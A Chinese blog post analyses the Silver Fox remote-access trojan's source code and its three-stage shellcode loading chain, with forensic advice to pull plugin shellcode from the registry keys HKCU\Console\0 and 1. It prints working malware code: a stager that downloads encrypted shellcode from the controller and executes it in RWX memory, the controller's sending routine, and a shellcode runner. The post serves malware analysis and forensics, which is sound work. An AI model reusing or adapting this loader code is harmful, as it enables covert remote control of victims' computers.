最近由于工作需要,我在研究银狐这套经典远控的源码,并在公众号发布了一系列相关的技术文章。某天晚上,一位自称是某市网安部门的工作人员联系到我,咨询相关技术问题,并希望我能协助他们分析一起银狐变种“木马”的活动样本。
在征得当事人同意后,我特地撰写了这篇技术文章,希望对存在类似困惑的读者有所帮助,同时也希望能给从事安全攻防的小伙伴带来一些技术上的启发。
特别声明:
- 本文介绍的内容仅作技术交流之用,请勿将相关技术用于其他非法用途,违者责任自负。
- 作者不提供任何可用于生成有效
shellcode 或免杀版本的银狐源码。只接受持有效证件的网安部门技术交流与合作,黑灰产人员请勿打扰。
为何常规分析工具会失效?
要想验证一个软件是否在你的电脑上进行不法活动,微软的 Sysinternals 系列工具 Process Monitor 是一个非常友好的选择。它可以详细记录一个进程读写哪些文件、访问哪些注册表项、连接了哪些网络地址。示意图如下:

如果你熟悉 Windows 编程,可以使用更高级的工具如 API Monitor 来检测一个进程调用了哪些系统 API,从而大致了解软件的行为。


然而,对于分析银狐远控的被控端(Client)而言,上述两种方法均告失效。原因主要有两点:
1. 内存加载技术隐藏 API 调用
银狐被控端利用内存加载技术隐藏了各类系统 API 的调用。其核心实现位于插件解决方案的 执行代码 工程中,如下图所示:

具体的实现流程,我在之前的文章《银狐远控免杀与shellcode修复思路分析 01》中已有详细介绍。这是一种在安全工程中常见的自我保护策略。
2. 被控主程序仅为加载器 (Stager)
更为关键的是,银狐的被控端主程序本质上只是一个加载器。它采用了典型的“多阶段”加载策略。安全工程中通常将第一阶段称为 Stager,后续阶段称为 Stageless。银狐的上线流程就是一个经典的三阶段模型:
- 加载器 (Stager):即“执行代码”模块,连接主控端。
- 请求上线模块:加载器向主控请求
上线模块 的 shellcode 并执行。
- 请求登录模块:
上线模块 再向主控请求 登录模块 的 shellcode,执行后发送上线数据包,完成在主控端的注册。
这个过程可以通过下面的流程图来理解:

这种通过网络分阶段请求并加载执行代码的方式,极大地增强了被控端的对抗分析能力。即使 Stager 被静态分析,也只能看出其有网络请求和执行行为,而无法知晓后续下载并执行的模块的具体功能。
深入代码:追踪模块加载链条
理解了架构,我们结合代码来追踪具体的实现。
第一阶段:Stager 请求上线模块
以 TCP 请求为例(UDP 类似),执行代码 模块中的 mytcp 函数负责与主控建立连接并请求 shellcode。

void mytcp(func_t* func, int i)
{
LPVOID buff = NULL;
ADDRINFOA* ip = NULL;
func->m_socket = func->socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (func->m_socket == INVALID_SOCKET)
goto end;
func->buff = (CHAR*)func->VirtualAlloc(0, 512 * 1024 + 14, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!func->buff)
goto end;
if (func->getaddrinfo((i == 1) ? func->add1 : func->add2, 0, 0, &ip) != 0)
goto end;
func->ClientAddr = *((SOCKADDR_IN*)ip->ai_addr);
func->ClientAddr.sin_port = func->htons((i == 1) ? func->data->szPort1 : func->data->szPort2);
//加载器与主控连接
if (func->connect(func->m_socket, (SOCKADDR*)&(func->ClientAddr), sizeof(func->ClientAddr)) == SOCKET_ERROR)
goto end;
#ifdef _WIN64
char name[] = { '6','4',0 };
#else
char name[] = { '3','2',0 };
#endif
// 请求上线模块
int rt = func->send(func->m_socket, name, sizeof(name), 0);
if (rt <= 0)
goto end;
int len = 0;
int nSize = 0;
buff = func->VirtualAlloc(0, 310 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buff)
goto end;
do
{
// 收取上线模块数据
nSize = func->recv(func->m_socket, (CHAR*)buff, 100 * 1024, 0);
if (nSize <= 0)
goto end;
func->_MoveMemory(func->buff + len, (void*)buff, (DWORD)nSize);
len += nSize;
} while (len != (300 * 1024 + 14));
if (buff)
func->VirtualFree(buff, 0, MEM_RELEASE);
msg(0, 0, 0, 0);
byte* password = (byte*)(func->buff) + 4;
func->buff = (char*)(func->buff) + 14;
for (int i = 0, j = 0; i < (int)len; i++) //加密
{
((char*)func->buff)[i] ^= (password[j++]) % 456 + 54;
if (i % (10) == 0)
j = 0;
}
typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
// 上线模块数据为可直接执行的shellcode,直接执行
CODE fn = ((CODE(*)()) func->buff)();
fn(func->confi);
do {} while (1);
end:
if (ip)
func->freeaddrinfo(ip);
if (func->m_socket != INVALID_SOCKET)
func->closesocket(func->m_socket);
if (func->buff)
func->VirtualFree(func->buff, 0, MEM_RELEASE);
if (buff)
func->VirtualFree(buff, 0, MEM_RELEASE);
}
主控端在 HpTcpServer.cpp 中响应该请求,下发对应的 shellcode。

//MainFrame.cpp
void CMainFrame::ProcessSendShellcode(ClientContext* pContext, int i)
{
OUT_PUT_FUNCION_NAME_INFO
BYTE* bPacket = new BYTE[512 * 1024];
memset(bPacket, 0, 300 * 1024);
if (i == 0)
{
memcpy(bPacket, m_Shellcode32, m_ShellcodeSize32);
}
else
{
memcpy(bPacket, m_Shellcode64, m_ShellcodeSize64);
}
g_pSocketBase->Send(pContext, bPacket, 300 * 1024);
SAFE_DELETE_AR(bPacket);
return;
}
这里的 m_Shellcode32 和 m_Shellcode64 来源于主控启动时从特定文件加载的 上线模块.dll_bin。这个 .bin 文件是如何产生的呢?它是通过编译插件工程 上线模块 的特定配置生成的。
首先,以 Release 模式编译生成标准的 上线模块.dll。

然后,以 Release-exe 模式编译,生成 上线模块.dll_bin 文件,这实际上是将 DLL 转换成了可直接执行的 shellcode 格式。

主控程序将这些插件文件作为资源嵌入,并在启动时通过 WriteAndReadPlugins 函数进行处理。该函数会调用关键的 dll_to_shellcode 函数,将合法的 PE 文件(DLL)转换成 shellcode(*_bin 文件)。
这正是银狐远控实现中最精彩的部分之一,虽然代码可能借鉴自网络,但其思路非常值得从事安全工程和攻防研究的同学学习。 关于 PE 转 Shellcode 的详细技术,在相关的高级安全课程中有专门章节论述。
第二阶段:上线模块请求登录模块
上线模块 被执行后,会创建一个主线程 MainThread。

该线程会与主控建立新连接,并发送 TOKEN_GETVERSION 命令,请求 登录模块。

主控响应此命令,发送 登录模块.dll_bin 的 shellcode 数据。被控端 上线模块 收到数据后,会与本地注册表中存储的版本进行比对。
关键突破口:插件数据存储在注册表
被控端将所有插件的 shellcode 数据持久化存储在注册表中。对于 x64 系统,路径是 HKEY_CURRENT_USER\Console\1;对于 x86 系统,路径是 HKEY_CURRENT_USER\Console\0。其中,项的“名称”是插件 shellcode 的 MD5 值,“数据”是二进制的 shellcode 内容。

这个位置具有极强的隐蔽性,对于普通用户甚至开发者来说,看起来都像是系统控制台的配置数据,不敢轻易删除。
至此,本文开头的那个问题就找到了答案: 虽然无法直接分析一个“空壳”加载器的行为,但只要在运行过该被控端的电脑上,检查上述注册表位置,提取出其中存储的各个插件 shellcode,就能完全分析出这个远控实际具备的所有功能。
因为这些 shellcode 本身就是可执行代码,你甚至可以编写一个简单的加载器来验证其功能:
int main()
{
// 1. 从注册表 HKEY_CURRENT_USER\Console\0(或1) 中读取特定MD5键值对应的二进制数据到 buffer
// char* buffer = ...; size_t size = ...; (代码省略)
// 2. 分配可执行内存
void* mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL)
{
std::cout << "无法分配内存" << std::endl;
return 1;
}
// 3. 复制 shellcode 到内存
memcpy(mem, buffer, size);
// 4. 执行 shellcode
typedef void(*ShellcodeFunc)();
ShellcodeFunc sc = (ShellcodeFunc)mem;
sc();
// 5. 清理
VirtualFree(mem, 0, MEM_RELEASE);
// delete[] buffer;
return 0;
}
第三阶段及后续:插件动态加载
登录模块 执行后,会发送包含本机信息的登录数据包,在主控端上线。主控端列表的表头信息就来源于此数据包。

当在主控端点击某个功能(如“文件管理”)时,主控会下发 COMMAND_DLLMAIN 命令。登录模块 收到命令后,会检查内存和注册表中是否有对应插件的 shellcode:
- 如果存在且版本匹配:直接取出执行。
- 如果不存在或版本不匹配:向主控请求
COMMAND_SENDLL,收到数据后存入注册表并执行。
最终,插件 shellcode 会被加载并执行其导出函数(如 Main),从而启动相应的远控功能(如文件管理、远程终端等)。插件执行状态会反馈到主控界面。

总结与启发
我们来梳理一下银狐远控的核心加载链条:
- 执行代码 (Stager):初始加载器,请求并执行
上线模块。
- 上线模块 (Stage 2):请求并执行
登录模块,负责核心通信链建立。
- 登录模块 (Stage 3):发送上线信息,并管理所有后续功能插件的加载。
这种模块化、阶段化的设计,不仅提高了隐匿性和生存能力,也使得功能扩展变得清晰。只要遵循其加载协议,就可以为其开发新的插件模块。
对于安全分析人员而言,这次协助调查的经历揭示了一个重要的分析思路:在面对复杂的、具有对抗性的恶意软件时,静态分析加载器可能收效甚微,关键在于寻找其持久化存储和缓存的数据。这些数据(如银狐存储在注册表中的插件 shellcode)往往包含了攻击者的完整“武器库”,是进行行为分析和取证的关键。
通过剖析银狐远控的源码,我们不仅能理解一款经典工具的内部机理,更能深刻体会到攻防双方在技术层面上的持续博弈。无论是为了提升防御能力,还是进行合法的渗透测试研究,深入理解这些网络攻防技术的底层原理都至关重要。
附录:技术实现细节
文中涉及的大量代码逻辑,尤其是 C++ 层面的内存操作、网络通信和 Windows API 的动态调用,都体现了对系统底层的深入理解。对于希望深入安全工程或Windows系统编程的开发者来说,研究此类项目(须在合法合规前提下)是绝佳的学习路径。欢迎大家在云栈社区交流更多技术实践与心得。